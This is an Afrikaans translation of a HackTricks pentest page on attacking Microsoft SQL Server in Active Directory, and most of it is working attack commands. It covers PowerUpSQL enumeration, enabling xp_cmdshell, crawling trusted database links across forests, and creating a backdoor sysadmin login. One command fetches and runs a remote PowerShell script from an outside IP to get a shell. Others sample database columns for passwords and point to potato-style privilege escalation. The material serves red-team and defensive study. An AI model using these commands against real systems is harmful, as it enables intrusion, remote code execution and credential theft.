hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql.md

# MSSQL AD Misbruik

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## **MSSQL Opname / Ontdekking**

Die powershell-module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is baie nuttig in hierdie geval.
```powershell
Import-Module .\PowerupSQL.psd1
```
### Enumereer van die netwerk sonder 'n domein-sessie
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Enumereer van binne die domein
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```
## MSSQL Basiese Misbruik

### Toegang tot DB
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
```
### MSSQL RCE

Dit mag ook moontlik wees om **bevele** binne die MSSQL-gashuis uit te voer
```powershell
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
### MSSQL Basiese Haktruuks

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}

## MSSQL Vertroue Skakels

As 'n MSSQL-instantie vertrou word (databasis skakel) deur 'n ander MSSQL-instantie. As die gebruiker voorregte het oor die vertroue databasis, sal hy in staat wees om **die vertrouensverhouding te gebruik om ook navrae in die ander instantie uit te voer**. Hierdie vertrouensverhoudings kan geketting word en op 'n bepaalde punt mag die gebruiker 'n sleg gekonfigureerde databasis vind waar hy bevele kan uitvoer.

**Die skakels tussen databasisse werk selfs oor bosvertrouens heen.**

### Powershell Misbruik
```powershell
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
### Metasploit

Jy kan maklik vir vertroude skakels kyk met Metasploit.
```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Merk op dat metasploit sal probeer om slegs die `openquery()`-funksie in MSSQL te misbruik (dus, as jy nie 'n bevel met `openquery()` kan uitvoer nie, sal jy die `EXECUTE`-metode **handmatig** moet probeer om bevele uit te voer, sien meer hieronder.)

### Handmatig - Openquery()

Vanaf **Linux** kan jy 'n MSSQL-konsole-skul met **sqsh** en **mssqlclient.py** verkry.

Vanaf **Windows** kan jy ook die skakels vind en bevele handmatig uitvoer met 'n **MSSQL-klient soos** [**HeidiSQL**](https://www.heidisql.com)

_Aanmelding met Windows-outentifisering:_

![](<../../.gitbook/assets/image (805).png>)

#### Betroubare Skakels vind
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```
![](<../../.gitbook/assets/image (713).png>)

#### Voer navrae uit in 'n betroubare skakel

Voer navrae uit deur die skakel (voorbeeld: vind meer skakels in die nuut toeganklike instansie):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
{% hint style="warning" %}
Kontroleer waar dubbelpunt en enkelkwotasies gebruik word, dit is belangrik om hulle op daardie manier te gebruik.
{% endhint %}

![](<../../.gitbook/assets/image (640).png>)

Jy kan hierdie vertroude skakelsketting vir ewig voortsit deur dit handmatig te doen.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
```
### Handleiding - UITVOER

Jy kan ook vertroue skakels misbruik deur `UITVOER` te gebruik:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## Plaaslike Voorregverhoging

Die **MSSQL plaaslike gebruiker** het gewoonlik 'n spesiale tipe voorreg genaamd **`SeImpersonatePrivilege`**. Dit laat die rekening toe om "op te tree as 'n klient na verifikasie".

'n Strategie wat baie skrywers mee vore gekom het, is om 'n STELSELDIENS te dwing om te verifieer by 'n bedrieglike of man-in-die-middel-diens wat die aanvaller skep. Hierdie bedrieglike diens kan dan die STELSELDIENS naboots terwyl dit probeer verifieer.

[SweetPotato](https://github.com/CCob/SweetPotato) het 'n versameling van hierdie verskeie tegnieke wat uitgevoer kan word via Beacon se `execute-assembly` bevel.